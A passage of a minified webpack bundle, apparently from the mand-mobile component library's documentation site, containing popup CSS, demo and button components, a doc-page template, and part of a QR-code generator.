2;\n}\n.md-popup .md-popup-box {\n position: fixed;\n z-index: 1000;\n max-width: 100%;\n max-height: 100%;\n overflow: auto;\n will-change: auto;\n}\n.md-popup .md-popup-box.slide-up {\n padding-bottom: env(safe-area-inset-bottom);\n}\n.md-popup .md-popup-mask {\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n position: absolute;\n z-index: 1;\n background-color: rgba(0,0,0,0.4);\n}\n.md-popup.center .md-popup-box {\n top: 50%;\n right: auto;\n bottom: auto;\n left: 50%;\n -webkit-transform: translate(-50%, -50%);\n transform: translate(-50%, -50%);\n}\n.md-popup.top .md-popup-box,\n.md-popup.bottom .md-popup-box,\n.md-popup.left .md-popup-box,\n.md-popup.right .md-popup-box {\n -webkit-transition: all 0.3s;\n transition: all 0.3s;\n}\n.md-popup.top .md-popup-box,\n.md-popup.bottom .md-popup-box {\n width: 100%;\n}\n.md-popup.left .md-popup-box,\n.md-popup.right .md-popup-box {\n height: 100%;\n}\n.md-popup.top .md-popup-box {\n top: 0;\n left: 0;\n}\n.md-popup.bottom .md-popup-box {\n bottom: 0;\n left: 0;\n}\n.md-popup.left .md-popup-box {\n left: 0;\n top: 0;\n}\n.md-popup.right .md-popup-box {\n right: 0;\n top: 0;\n}\n.md-popup .fade-enter-active,\n.md-popup .fade-leave-active {\n -webkit-transition: opacity 0.3s;\n transition: opacity 0.3s;\n}\n.md-popup .fade-enter,\n.md-popup .fade-leave-to,\n.md-popup .fade-leave-active {\n opacity: 0;\n -ms-filter: \"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)\";\n filter: alpha(opacity=0);\n}\n.md-popup .slide-up-enter-active,\n.md-popup .slide-up-leave-active,\n.md-popup .slide-down-enter-active,\n.md-popup .slide-down-leave-active,\n.md-popup .bottom .show {\n -webkit-transform: translateY(0);\n transform: translateY(0);\n}\n.md-popup .slide-up-enter,\n.md-popup .slide-up-leave-to {\n -webkit-transform: translateY(70%);\n transform: translateY(70%);\n}\n.md-popup .slide-up-leave-active {\n -webkit-transform: translateY(100%);\n transform: translateY(100%);\n}\n.md-popup .slide-down-enter,\n.md-popup .slide-down-leave-to {\n -webkit-transform: translateY(-70%);\n transform: translateY(-70%);\n}\n.md-popup .slide-down-leave-active {\n -webkit-transform: translateY(-100%);\n transform: translateY(-100%);\n}\n.md-popup .slide-left-enter-active,\n.md-popup .slide-left-leave-active,\n.md-popup .slide-right-enter-active,\n.md-popup .slide-right-leave-active {\n -webkit-transform: translateX(0);\n transform: translateX(0);\n}\n.md-popup .slide-left-enter,\n.md-popup .slide-left-leave-to {\n -webkit-transform: translateX(70%);\n transform: translateX(70%);\n}\n.md-popup .slide-left-leave-active {\n -webkit-transform: translateX(100%);\n transform: translateX(100%);\n}\n.md-popup .slide-right-enter,\n.md-popup .slide-right-leave-to {\n -webkit-transform: translateX(-70%);\n transform: translateX(-70%);\n}\n.md-popup .slide-right-leave-active {\n -webkit-transform: translateX(-100%);\n transform: translateX(-100%);\n}"],sourceRoot:""}])},inIL:function(e,t){"use strict";t.a={render:function(){var e=this,t=e.$createElement,o=e._self._c||t;return o("div",{staticClass:"md-example-child md-example-child-landscape"},[o("md-button",{on:{click:function(){e.showPic=!0}}},[e._v("\u56FE\u7247\u5E7F\u544A")]),e._v(" "),o("md-landscape",{model:{value:e.showPic,callback:function(t){e.showPic=t},expression:"showPic"}},[o("img",{attrs:{src:"//manhattan.didistatic.com/static/manhattan/do1_6VL7HL8TYaUMsIfygfpz"}})]),e._v(" "),o("md-button",{nativeOn:{click:function(){e.showMaskClosable=!0}}},[e._v("\u70B9\u51FB\u8499\u5C42\u5173\u95ED")]),e._v(" "),o("md-landscape",{attrs:{"mask-closable":!0},model:{value:e.showMaskClosable,callback:function(t){e.showMaskClosable=t},expression:"showMaskClosable"}},[o("img",{attrs:{src:"//manhattan.didistatic.com/static/manhattan/do1_6VL7HL8TYaUMsIfygfpz"}})]),e._v(" "),o("md-button",{on:{click:function(){e.showNoMask=!0}}},[e._v("\u65E0\u8499\u5C42")]),e._v(" "),o("md-landscape",{attrs:{"has-mask":!1},model:{value:e.showNoMask,callback:function(t){e.showNoMask=t},expression:"showNoMask"}},[o("img",{attrs:{src:"//manhattan.didistatic.com/static/manhattan/do1_6VL7HL8TYaUMsIfygfpz"}})]),e._v(" "),o("md-button",{on:{click:function(){e.showScroll=!0}}},[e._v("\u6EDA\u52A8\u533A\u57DF")]),e._v(" "),o("md-landscape",{attrs:{scroll:!0},model:{value:e.showScroll,callback:function(t){e.showScroll=t},expression:"showScroll"}},[o("div",{staticClass:"scroll-area"},[o("h1",[e._v("\u6EDA\u52A8\u533A\u57DF")]),e._v(" "),e._l(20,function(t){return o("p",{key:t},[e._v("\u7B2C"+e._s(t)+"\u884C")])})],2)]),e._v(" "),o("md-button",{on:{click:function(){e.showListen=!0}}},[e._v("\u76D1\u542C\u4E8B\u4EF6")]),e._v(" "),o("md-landscape",{on:{show:function(){e.alert("\u5DF2\u5F39\u51FA")},hide:function(){e.alert("\u5DF2\u9690\u85CF")}},model:{value:e.showListen,callback:function(t){e.showListen=t},expression:"showListen"}},[o("img",{attrs:{src:"//manhattan.didistatic.com/static/manhattan/do1_6VL7HL8TYaUMsIfygfpz"}})])],1)},staticRenderFns:[]}},jJhs:function(e,t,o){t=e.exports=o("FZ+f")(!0),t.push([e.i,"body{font-family:Helvetica Neue,Helvetica,PingFang SC,Hiragino Sans GB,Microsoft YaHei,\\\\5FAE\\8F6F\\96C5\\9ED1,Arial,sans-serif;-webkit-tap-highlight-color:transparent;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}li,ol{list-style:none}","",{version:3,sources:["/Users/shawnxu/Desktop/Repertory/mand-mobile/site/node_modules/mand-mobile/lib/_style/global.css"],names:[],mappings:"AAAA,KACE,yHAA0H,AAC1H,wCAAyC,AACzC,mCAAoC,AACpC,iCAAmC,CACpC,AACD,MAEE,eAAiB,CAClB",file:"global.css",sourcesContent:["body {\n font-family: \"Helvetica Neue\", Helvetica, \"PingFang SC\", \"Hiragino Sans GB\", \"Microsoft YaHei\", \"\u5FAE\u8F6F\u96C5\u9ED1\", Arial, sans-serif;\n -webkit-tap-highlight-color: transparent;\n -webkit-font-smoothing: antialiased;\n -moz-osx-font-smoothing: grayscale;\n}\nol,\nli {\n list-style: none;\n}\n"],sourceRoot:""}])},lwwV:function(e,t){"use strict";t.a={render:function(){var e=this,t=e.$createElement,o=e._self._c||t;return o("div")},staticRenderFns:[]}},nK8G:function(e,t,o){"use strict";function a(e){return e&&e.__esModule?e:{default:e}}function s(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}Object.defineProperty(t,"__esModule",{value:!0});var n,d=o("TjX1"),i=a(d),l=o("oOyB"),r=a(l),A=o("ylCB"),p=a(A);t.default={name:"landscape-demo",title:"\u793A\u4F8B",height:700,components:(n={},s(n,p.default.name,p.default),s(n,r.default.name,r.default),n),data:function(){return{showPic:!1,showNoMask:!1,showScroll:!1,showListen:!1,showMaskClosable:!1}},methods:{alert:function(e){i.default.succeed(e)}}}},oCGI:function(e,t,o){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var a=o("Ome+"),s=o.n(a);for(var n in a)"default"!==n&&function(e){o.d(t,e,function(){return a[e]})}(n);var d=o("lwwV"),i=o("VU/8"),l=i(s.a,d.a,!1,null,null,null);t["default"]=l.exports},oOyB:function(e,t,o){var a,s,n;(function(){(function(d,i){s=[t,o("DIBZ"),o("U6ik"),o("EZTP")],a=i,n="function"==typeof a?a.apply(t,s):a,!(void 0!==n&&(e.exports=n))})(this,function(e,t){"use strict";function o(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}Object.defineProperty(e,"__esModule",{value:!0});var a=function(e){return e&&e.__esModule?e:{default:e}}(t);e.default={name:"md-button",components:o({},a.default.name,a.default),props:{type:{type:String,default:"primary"},size:{type:String,default:"large"},icon:{type:String,default:""},disabled:{type:Boolean,default:!1}}}})})(),e.exports.__esModule&&(e.exports=e.exports.default);var d="function"==typeof e.exports?e.exports.options:e.exports;d.functional&&console.error("[vueify] functional components are not supported and should be defined in plain js files using render functions."),d.render=function(){var e=this,t=e.$createElement,o=e._self._c||t;return o("button",e._g({staticClass:"md-button",class:[e.type,e.size,e.icon?"with-icon":""],attrs:{type:"button",disabled:e.disabled}},e.$listeners),[o("div",{staticClass:"md-button-inner"},[e.icon?o("md-icon",{attrs:{name:e.icon}}):e._e(),e._v(" "),e._t("default")],2)])},d.staticRenderFns=[],!1},"p/ME":function(e,t){"use strict";t.a={render:function(){var e=this,t=e.$createElement,o=e._self._c||t;return o("div",{staticClass:"mfe-blog-theme-default-doc doc-template"},[o("div",{staticClass:"default-doc-content"},[o("div",{staticClass:"doc-content-top"},[e.info.title?o("p",{staticClass:"doc-content-title",domProps:{innerHTML:e._s(e.info.title)}}):e._e(),e._v(" "),e.info.preview?o("p",{staticClass:"doc-content-qrcode",on:{mouseover:function(){e.isQrcodeShow=!0},mouseleave:function(){e.isQrcodeShow=!1}}},[o("i",{staticClass:"icon-qr-code",class:{active:e.isQrcodeShow}}),e._v(" "),o("transition",{attrs:{name:"slide-fade"}},[o("span",{directives:[{name:"show",rawName:"v-show",value:e.isQrcodeShow,expression:"isQrcodeShow"}],staticClass:"qrcode-box"},["en-US"===e.lang?o("i",[e._v("Scan QR code to preview")]):o("i",[e._v("\u626B\u7801\u9884\u89C8")]),e._v(" "),o("qr-code",{attrs:{text:e.info.preview}})],1)])],1):e._e()]),e._v(" "),e.info.describe?o("div",{staticClass:"doc-content-describe",domProps:{innerHTML:e._s(e.info.describe)}}):e._e(),e._v(" "),o("div",{staticClass:"doc-content-paragraph head",domProps:{innerHTML:e._s(e.bodyHead)}}),e._v(" "),e.demos&&e.demos.length?[o("div",{staticClass:"default-doc-demo-container"},[o("div",{staticClass:"default-doc-demo-list"},e._l(e.demos,function(t,a){return 0==a%2?o("div",{key:a,staticClass:"default-doc-demo"},[o("div",{staticClass:"doc-demo-box",class:["doc-demo-box-"+a,e.demoBoxShowStat[a]?"active":""]},[o("div",{staticClass:"doc-demo-box-info"},["en-US"===e.lang?[o("h4",{staticClass:"doc-demo-title",domProps:{innerHTML:e._s(t.component.titleEnUS||t.component.title||"Basic")}}),e._v(" "),t.component.describeEnUS||t.component.describe?o("h5",{staticClass:"doc-demo-describe",domProps:{innerHTML:e._s(t.component.describeEnUS||t.component.describe)}}):e._e(),e._v(" "),t.component.messageEnUS||t.component.message?o("h5",{staticClass:"doc-demo-message",domProps:{innerHTML:e._s(t.component.messageEnUS||t.component.message)}}):e._e()]:[o("h4",{staticClass:"doc-demo-title",domProps:{innerHTML:e._s(t.component.title||"\u57FA\u672C")}}),e._v(" "),t.component.describe?o("h5",{staticClass:"doc-demo-describe",domProps:{innerHTML:e._s(t.component.describe)}}):e._e(),e._v(" "),t.component.message?o("h5",{staticClass:"doc-demo-message",domProps:{innerHTML:e._s(t.component.message)}}):e._e()]],2),e._v(" "),o("div",{staticClass:"doc-demo-box-preview"},[o("div",{staticClass:"doc-demo-box-preview-box",style:{minHeight:t.component.height+"px"}},[o(t.component,{tag:"component"})],1)]),e._v(" "),o("div",{staticClass:"doc-demo-box-code"},[o("div",{staticClass:"doc-demo-box-code-operate"},[o("i",{staticClass:"icon-hollowError",on:{click:function(){e.toggleDemoBox(a)}}}),e._v(" "),"en-US"===e.lang?[o("i",{directives:[{name:"tooltip",rawName:"v-tooltip",value:{content:e.isCopySuccess?"Copied":"Copy Code",offset:5},expression:"{content: isCopySuccess ? 'Copied' : 'Copy Code', offset: 5}"},{name:"clipboard",rawName:"v-clipboard:copy",value:decodeURI(t.raw),expression:"decodeURI(demo.raw)",arg:"copy"},{name:"clipboard",rawName:"v-clipboard:success",value:e.onCopySuccess,expression:"onCopySuccess",arg:"success"}],class:e.isCopySuccess?"icon-question":"icon-paper"}),e._v(" "),t.component.codeSandBox?o("i",{directives:[{name:"tooltip",rawName:"v-tooltip",value:{content:"Open in CodeSandBox",offset:5},expression:"{content: 'Open in CodeSandBox', offset: 5}"}],staticClass:"demo-codesandbox"},[o("a",{attrs:{href:t.component.codeSandBox,target:"_blank"}})]):e._e(),e._v(" "),o("i",{directives:[{name:"tooltip",rawName:"v-tooltip",value:{content:"Edit this page on Github",offset:5},expression:"{content: 'Edit this page on Github', offset: 5}"}],staticClass:"icon-edit",on:{click:function(){e.goToDemo(a)}}})]:[o("i",{directives:[{name:"tooltip",rawName:"v-tooltip",value:{content:e.isCopySuccess?"\u590D\u5236\u4EE3\u7801\u6210\u529F":"\u590D\u5236\u4EE3\u7801",offset:5},expression:"{content: isCopySuccess ? '\u590D\u5236\u4EE3\u7801\u6210\u529F' : '\u590D\u5236\u4EE3\u7801', offset: 5}"},{name:"clipboard",rawName:"v-clipboard:copy",value:decodeURI(t.raw),expression:"decodeURI(demo.raw)",arg:"copy"},{name:"clipboard",rawName:"v-clipboard:success",value:e.onCopySuccess,expression:"onCopySuccess",arg:"success"}],class:e.isCopySuccess?"icon-question":"icon-paper"}),e._v(" "),t.component.codeSandBox?o("i",{directives:[{name:"tooltip",rawName:"v-tooltip",value:{content:"\u5728CodeSandBox\u6253\u5F00",offset:5},expression:"{content: '\u5728CodeSandBox\u6253\u5F00', offset: 5}"}],staticClass:"demo-codesandbox"},[o("a",{attrs:{href:t.component.codeSandBox,target:"_blank"}})]):e._e(),e._v(" "),o("i",{directives:[{name:"tooltip",rawName:"v-tooltip",value:{content:"\u5728Github\u4E0A\u7F16\u8F91\u6B64\u9875",offset:5},expression:"{content: '\u5728Github\u4E0A\u7F16\u8F91\u6B64\u9875', offset: 5}"}],staticClass:"icon-edit",on:{click:function(){e.goToDemo(a)}}})]],2),e._v(" "),o("pre",[e._v(" "),o("code",{staticClass:"lang-vue",domProps:{innerHTML:e._s(t.code)}}),e._v("\n ")])]),e._v(" "),o("div",{staticClass:"doc-demo-box-toggle",on:{click:function(){e.toggleDemoBox(a)}}},[e.demoBoxShowStat[a]?[o("i",{staticClass:"icon-arrow-up"}),e._v(" "),"en-US"===e.lang?o("span",[e._v("Hide Code")]):o("span",[e._v("\u4EE3\u7801\u6536\u8D77")])]:[o("i",{staticClass:"icon-arrow-down"}),e._v(" "),"en-US"===e.lang?o("span",[e._v("Show Code")]):o("span",[e._v("\u4EE3\u7801\u5C55\u793A")])]],2)])]):e._e()}),0),e._v(" "),o("div",{staticClass:"default-doc-demo-list"},e._l(e.demos,function(t,a){return 0==a%2?e._e():o("div",{key:a,staticClass:"default-doc-demo"},[o("div",{staticClass:"doc-demo-box",class:["doc-demo-box-"+a,e.demoBoxShowStat[a]?"active":""]},[o("div",{staticClass:"doc-demo-box-info"},["en-US"===e.lang?[o("h4",{staticClass:"doc-demo-title",domProps:{innerHTML:e._s(t.component.titleEnUS||t.component.title||"Basic")}}),e._v(" "),t.component.describeEnUS||t.component.describe?o("h5",{staticClass:"doc-demo-describe",domProps:{innerHTML:e._s(t.component.describeEnUS||t.component.describe)}}):e._e(),e._v(" "),t.component.messageEnUS||t.component.message?o("h5",{staticClass:"doc-demo-message",domProps:{innerHTML:e._s(t.component.messageEnUS||t.component.message)}}):e._e()]:[o("h4",{staticClass:"doc-demo-title",domProps:{innerHTML:e._s(t.component.title||"\u57FA\u672C")}}),e._v(" "),t.component.describe?o("h5",{staticClass:"doc-demo-describe",domProps:{innerHTML:e._s(t.component.describe)}}):e._e(),e._v(" "),t.component.message?o("h5",{staticClass:"doc-demo-message",domProps:{innerHTML:e._s(t.component.message)}}):e._e()]],2),e._v(" "),o("div",{staticClass:"doc-demo-box-preview"},[o("div",{staticClass:"doc-demo-box-preview-box",style:{minHeight:t.component.height+"px"}},[o(t.component,{tag:"component"})],1)]),e._v(" "),o("div",{staticClass:"doc-demo-box-code"},[o("div",{staticClass:"doc-demo-box-code-operate"},[o("i",{staticClass:"icon-hollowError",on:{click:function(){e.toggleDemoBox(a)}}}),e._v(" "),"en-US"===e.lang?[o("i",{directives:[{name:"tooltip",rawName:"v-tooltip",value:{content:e.isCopySuccess?"Copied":"Copy Code",offset:5},expression:"{content: isCopySuccess ? 'Copied' : 'Copy Code', offset: 5}"},{name:"clipboard",rawName:"v-clipboard:copy",value:decodeURI(t.raw),expression:"decodeURI(demo.raw)",arg:"copy"},{name:"clipboard",rawName:"v-clipboard:success",value:e.onCopySuccess,expression:"onCopySuccess",arg:"success"}],class:e.isCopySuccess?"icon-question":"icon-paper"}),e._v(" "),t.component.codeSandBox?o("i",{directives:[{name:"tooltip",rawName:"v-tooltip",value:{content:"Open in CodeSandBox",offset:5},expression:"{content: 'Open in CodeSandBox', offset: 5}"}],staticClass:"demo-codesandbox"},[o("a",{attrs:{href:t.component.codeSandBox,target:"_blank"}})]):e._e(),e._v(" "),o("i",{directives:[{name:"tooltip",rawName:"v-tooltip",value:{content:"Edit this page on Github",offset:5},expression:"{content: 'Edit this page on Github', offset: 5}"}],staticClass:"icon-edit",on:{click:function(){e.goToDemo(a)}}})]:[o("i",{directives:[{name:"tooltip",rawName:"v-tooltip",value:{content:e.isCopySuccess?"\u590D\u5236\u4EE3\u7801\u6210\u529F":"\u590D\u5236\u4EE3\u7801",offset:5},expression:"{content: isCopySuccess ? '\u590D\u5236\u4EE3\u7801\u6210\u529F' : '\u590D\u5236\u4EE3\u7801', offset: 5}"},{name:"clipboard",rawName:"v-clipboard:copy",value:decodeURI(t.raw),expression:"decodeURI(demo.raw)",arg:"copy"},{name:"clipboard",rawName:"v-clipboard:success",value:e.onCopySuccess,expression:"onCopySuccess",arg:"success"}],class:e.isCopySuccess?"icon-question":"icon-paper"}),e._v(" "),t.component.codeSandBox?o("i",{directives:[{name:"tooltip",rawName:"v-tooltip",value:{content:"\u5728CodeSandBox\u6253\u5F00",offset:5},expression:"{content: '\u5728CodeSandBox\u6253\u5F00', offset: 5}"}],staticClass:"demo-codesandbox"},[o("a",{attrs:{href:t.component.codeSandBox,target:"_blank"}})]):e._e(),e._v(" "),o("i",{directives:[{name:"tooltip",rawName:"v-tooltip",value:{content:"\u5728Github\u4E0A\u7F16\u8F91\u6B64\u9875",offset:5},expression:"{content: '\u5728Github\u4E0A\u7F16\u8F91\u6B64\u9875', offset: 5}"}],staticClass:"icon-edit",on:{click:function(){e.goToDemo(a)}}})]],2),e._v(" "),o("pre",[e._v(" "),o("code",{staticClass:"lang-vue",domProps:{innerHTML:e._s(t.code)}}),e._v("\n ")])]),e._v(" "),o("div",{staticClass:"doc-demo-box-toggle",on:{click:function(){e.toggleDemoBox(a)}}},[e.demoBoxShowStat[a]?[o("i",{staticClass:"icon-arrow-up"}),e._v(" "),"en-US"===e.lang?o("span",[e._v("Hide Code")]):o("span",[e._v("\u4EE3\u7801\u6536\u8D77")])]:[o("i",{staticClass:"icon-arrow-down"}),e._v(" "),"en-US"===e.lang?o("span",[e._v("Show Code")]):o("span",[e._v("\u4EE3\u7801\u5C55\u793A")])]],2)])])}),0)])]:e._e(),e._v(" "),e.bodyTail?o("div",{staticClass:"doc-content-paragraph tail",domProps:{innerHTML:e._s(e.bodyTail)}}):e._e(),e._v(" "),o("div",{staticClass:"doc-content-bottom"},[e.prevRoute?o("router-link",{staticClass:"prev",attrs:{to:e.prevRoute.path}},[o("i",[e._v("Prev")]),e._v(" "),o("p",{domProps:{innerHTML:e._s(e.prevRoute.meta.text)}})]):e._e(),e._v(" "),e.nextRoute?o("router-link",{staticClass:"next",attrs:{to:e.nextRoute.path}},[o("i",[e._v("Next")]),e._v(" "),o("p",{domProps:{innerHTML:e._s(e.nextRoute.meta.text)}})]):e._e()],1)],2),e._v(" "),e.hiddenToc?e._e():o("div",{staticClass:"default-doc-toc",class:{"is-stricky":e.isTocStricky},domProps:{innerHTML:e._s(e.toc)}})])},staticRenderFns:[]}},t5Om:function(e,t){"use strict";t.a={render:function(){var e=this,t=e.$createElement,o=e._self._c||t;return o("div",{staticClass:"mfe-blog-theme-default-doc-container"},[o("mb-docer",{attrs:{info:e.info,body:e.body,toc:e.toc,demos:e.demos}})],1)},staticRenderFns:[]}},tyZS:function(e,t,o){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var a=o("oCGI"),s=function(e){return e&&e.__esModule?e:{default:e}}(a),n=o("162o");t.default={components:{"qr-code":s.default},props:["info","body","toc","demos"],data:function(){return{demoBoxShowStat:[],activeDemoBoxZoonPos:{},isTocStricky:!1,isQrcodeShow:!1,isCopySuccess:!1}},computed:{bodyHead:function(){return this.body.split("<!-- DEMO -->")[0]},bodyTail:function(){return this.body.split("<!-- DEMO -->")[1]},demoBox:function(){return $(".doc-demo-box")},previewBox:function(){return $(".doc-demo-box-preview")},codeBox:function(){return $(".doc-demo-box-code")},curRouteIndex:function(){return this.$route.meta.index},prevRoute:function(){return this.findRoute(this.curRouteIndex-1,-1)},nextRoute:function(){return this.findRoute(this.curRouteIndex+1,1)},lang:function(){return~this.$route.path.indexOf("zh-CN")?"zh-CN":"en-US"},hiddenToc:function(){return"hidden"===this.info.toc}},mounted:function(){var e=this;if(!this.hiddenToc){var t=document.body.scrollTop||document.documentElement.scrollTop;$(window).bind("scroll",function(){var t=document.body.scrollTop||document.documentElement.scrollTop;e.strickyTocBar(t)}),this.strickyTocBar(t)}if(location.hash){var o=location.hash.substr(1);location.hash="",location.hash=o}},methods:{findRoute:function(e){for(var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:1,o=window.$routes[this.lang];0<=e&&e<=o.length-1&&(!o[e].meta.src&&!o[e].meta.markdown||o[e].redirect);)e+=t;return o[e]},toggleDemoBox:function(e){var t=$(".doc-demo-box-"+e),o=t.find(".doc-demo-box-toggle"),a=!this.demoBoxShowStat[e];a?o.addClass("active"):o.removeClass("active"),this.$set(this.demoBoxShowStat,e,a)},strickyTocBar:function(e){var t=this;window.requestAnimationFrame(function(){t.isTocStricky=!!(96<e)})},strickyToggleBar:function(e){var t=this;window.requestAnimationFrame(function(){t.toggleStrickyToggleBar(e)})},toggleStrickyToggleBar:function(e){e=e||document.body.scrollTop||document.documentElement.scrollTop,$.each($(".doc-demo-box-toggle"),function(t,o){var a=$(o).width(),s=$(o).height(),n=$(o).siblings(".doc-demo-box-code"),d=n.offset(),i=n.height(),l=$(window).height()-(d.top-e),r=$(window).height()-(d.top+i-e);$(o).hasClass("active")&&0<=l&&0>=r?!$(o).hasClass("is-stricky")&&($(o).css({maxWidth:a+"px",left:$(o).offset().left+"px"}),$(o).addClass("is-stricky")):($(o).css({maxWidth:a+"px",left:"0px"}),$(o).removeClass("is-stricky"))})},goToDemo:function(e){var t=this.info.preview.split("#")[1];t&&window.open("https://github.com/didi/mand-mobile/edit/master/components/"+t+"/demo/cases/demo"+e+".vue"),console.log(this.info.preview,e)},onCopySuccess:function(){var e=this;this.isCopySuccess=!0,(0,n.setTimeout)(function(){e.isCopySuccess=!1},1e3)}}}},"ukR+":function(e,t,o){(function(e){var t;(function(){function e(e){this.mode=p.MODE_8BIT_BYTE,this.data=e,this.parsedData=[];for(var t=0,o=this.data.length;t<o;t++){var a=[],s=this.data.charCodeAt(t);65536<s?(a[0]=240|(1835008&s)>>>18,a[1]=128|(258048&s)>>>12,a[2]=128|(4032&s)>>>6,a[3]=128|63&s):2048<s?(a[0]=224|(61440&s)>>>12,a[1]=128|(4032&s)>>>6,a[2]=128|63&s):128<s?(a[0]=192|(1984&s)>>>6,a[1]=128|63&s):a[0]=s,this.parsedData.push(a)}this.parsedData=Array.prototype.concat.apply([],this.parsedData),this.parsedData.length!=this.data.length&&(this.parsedData.unshift(191),this.parsedData.unshift(187),this.parsedData.unshift(239))}function o(e,t){this.typeNumber=e,this.errorCorrectLevel=t,this.modules=null,this.moduleCount=0,this.dataCache=null,this.dataList=[]}function s(e,t){if(void 0==e.length)throw new Error(e.length+"/"+t);for(var o=0;o<e.length&&0==e[o];)o++;this.num=Array(e.length-o+t);for(var a=0;a<e.length-o;a++)this.num[a]=e[a+o]}function a(e,t){this.totalCount=e,this.dataCount=t}function n(){this.buffer=[],this.length=0}function d(){var e=!1,t=navigator.userAgent;if(/android/i.test(t)){e=!0;var o=t.toString().match(/android ([0-9]\.[0-9])/i);o&&o[1]&&(e=parseFloat(o[1]))}return e}function l(e,t){for(var o,a=1,s=r(e),n=0,d=f.length;n<=d&&(o=0,t===c.L?o=f[n][0]:t===c.M?o=f[n][1]:t===c.Q?o=f[n][2]:t===c.H?o=f[n][3]:void 0,!(s<=o));n++)a++;if(a>f.length)throw new Error("Too long data");return a}function r(e){var t=encodeURI(e).toString().replace(/\%[0-9a-fA-F]{2}/g,"a");return t.length+(t.length==e?0:3)}var A=Math.floor;e.prototype={getLength:function(){return this.parsedData.length},write:function(e){for(var t=0,o=this.parsedData.length;t<o;t++)e.put(this.parsedData[t],8)}},o.prototype={addData:function(t){var o=new e(t);this.dataList.push(o),this.dataCache=null},isDark:function(e,t){if(0>e||this.moduleCount<=e||0>t||this.moduleCount<=t)throw new Error(e+","+t);return this.modules[e][t]},getModuleCount:function(){return this.moduleCount},make:function(){this.makeImpl(!1,this.getBestMaskPattern())},makeImpl:function(e,t){this.moduleCount=4*this.typeNumber+17,this.modules=Array(this.moduleCount);for(var a=0;a<this.moduleCount;a++){this.modules[a]=Array(this.moduleCount);for(var s=0;s<this.moduleCount;s++)this.modules[a][s]=null}this.setupPositionProbePattern(0,0),this.setupPositionProbePattern(this.moduleCount-7,0),this.setupPositionProbePattern(0,this.moduleCount-7),this.setupPositionAdjustPattern(),this.setupTimingPattern(),this.setupTypeInfo(e,t),7<=this.typeNumber&&this.setupTypeNumber(e),null==this.dataCache&&(this.dataCache=o.createData(this.typeNumber,this.errorCorrectLevel,this.dataList)),this.mapData(this.dataCache,t)},setupPositionProbePattern:function(e,t){for(var o=-1;7>=o;o++)if(!(-1>=e+o||this.moduleCount<=e+o))for(var a=-1;7>=a;a++)-1>=t+a||this.moduleCount<=t+a||(this.modules[e+o][t+a]=!!(0<=o&&6>=o&&(0==a||6==a)||0<=a&&6>=a&&(0==o||6==o)||2<=o&&4>=o&&2<=a&&4>=a))},getBestMaskPattern:function(){for(var e=0,t=0,o=0;8>o;o++){this.makeImpl(!0,o);var a=u.getLostPoint(this);(0==o||e>a)&&(e=a,t=o)}return t},createMovieClip:function(e,t,o){var a=e.createEmptyMovieClip(t,o),s=1;this.make();for(var n,d=0;d<this.modules.length;d++){n=d*s;for(var i=0;i<this.modules[d].length;i++){var l=i*s,r=this.modules[d][i];r&&(a.beginFill(0,100),a.moveTo(l,n),a.lineTo(l+s,n),a.lineTo(l+s,n+s),a.lineTo(l,n+s),a.endFill())}}return a},setupTimingPattern:function(){for(var e=8;e<this.moduleCount-8;e++)null==this.modules[e][6]&&(this.modules[e][6]=0==e%2);for(var t=8;t<this.moduleCount-8;t++)null==this.modules[6][t]&&(this.modules[6][t]=0==t%2)},setupPositionAdjustPattern:function(){for(var e=u.getPatternPosition(this.typeNumber),t=0;t<e.length;t++)for(var o=0;o<e.length;o++){var a=e[t],s=e[o];if(null==this.modules[a][s])for(var n=-2;2>=n;n++)for(var d=-2;2>=d;d++)this.modules[a+n][s+d]=-2==n||2==n||-2==d||2==d||0==n&&0==d}},setupTypeNumber:function(e){for(var t,o=u.getBCHTypeNumber(this.typeNumber),a=0;18>a;a++)t=!e&&1==(1&o>>a),this.modules[A(a/3)][a%3+this.moduleCount-8-3]=t;for(var t,a=0;18>a;a++)t=!e&&1==(1&o>>a),this.modules[a%3+this.moduleCount-8-3][A(a/3)]=t},setupTypeInfo:function(e,t){for(var o,a=this.errorCorrectLevel<<3|t,s=u.getBCHTypeInfo(a),n=0;15>n;n++)o=!e&&1==(1&s>>n),6>n?this.modules[n][8]=o:8>n?this.modules[n+1][8]=o:this.modules[this.moduleCount-15+n][8]=o;for(var o,n=0;15>n;n++)o=!e&&1==(1&s>>n),8>n?this.modules[8][this.moduleCount-n-1]=o:9>n?this.modules[8][15-n-1+1]=o:this.modules[8][15-n-1]=o;this.modules[this.moduleCount-8][8]=!e},mapData:function(e,t){for(var o=-1,a=this.moduleCount-1,s=7,n=0,d=this.moduleCount-1;0<d;d-=2)for(6==d&&d--;;){for(var i=0;2>i;i++)if(null==this.modules[a][d-i]){var l=!1;n<e.length&&(l=1==(1&e[n]>>>s));var r=u.getMask(t,a,d-i);r&&(l=!l),this.modules[a][d-i]=l,s--,-1==s&&(n++,s=7)}if(a+=o,0>a||this.moduleCount<=a){a-=o,o=-o;break}}}},o.PAD0=236,o.PAD1=17,o.createData=function(e,t,s){for(var d,l=a.getRSBlocks(e,t),r=new n,A=0;A<s.length;A++)d=s[A],r.put(d.mode,4),r.put(d.getLength(),u.getLengthInBits(d.mode,e)),d.write(r);for(var i=0,A=0;A<l.length;A++)i+=l[A].dataCount;if(r.getLengthInBits()>8*i)throw new Error("code length overflow. ("+r.getLengthInBits()+">"+8*i+")");for(r.getLengthInBits()+4<=8*i&&r.put(0,4);0!=r.getLengthInBits()%8;)r.putBit(!1);for(;!(r.getLengthInBits()>=8*i)&&(r.put(o.PAD0,8),!(r.getLengthInBits()>=8*i));)r.put(o.PAD1,8);return o.createBytes(r,l)},o.createBytes=function(e,t){for(var o=Math.max,a=0,n=0,d=0,l=Array(t.length),A=Array(t.length),p=0;p<t.length;p++){var r=t[p].dataCount,c=t[p].totalCount-r;n=o(n,r),d=o(d,c),l[p]=Array(r);for(var m=0;m<l[p].length;m++)l[p][m]=255&e.buffer[m+a];a+=r;var i=u.getErrorCorrectPolynomial(c),C=new s(l[p],i.getLength()-1),h=C.mod(i);A[p]=Array(i.getLength()-1);for(var 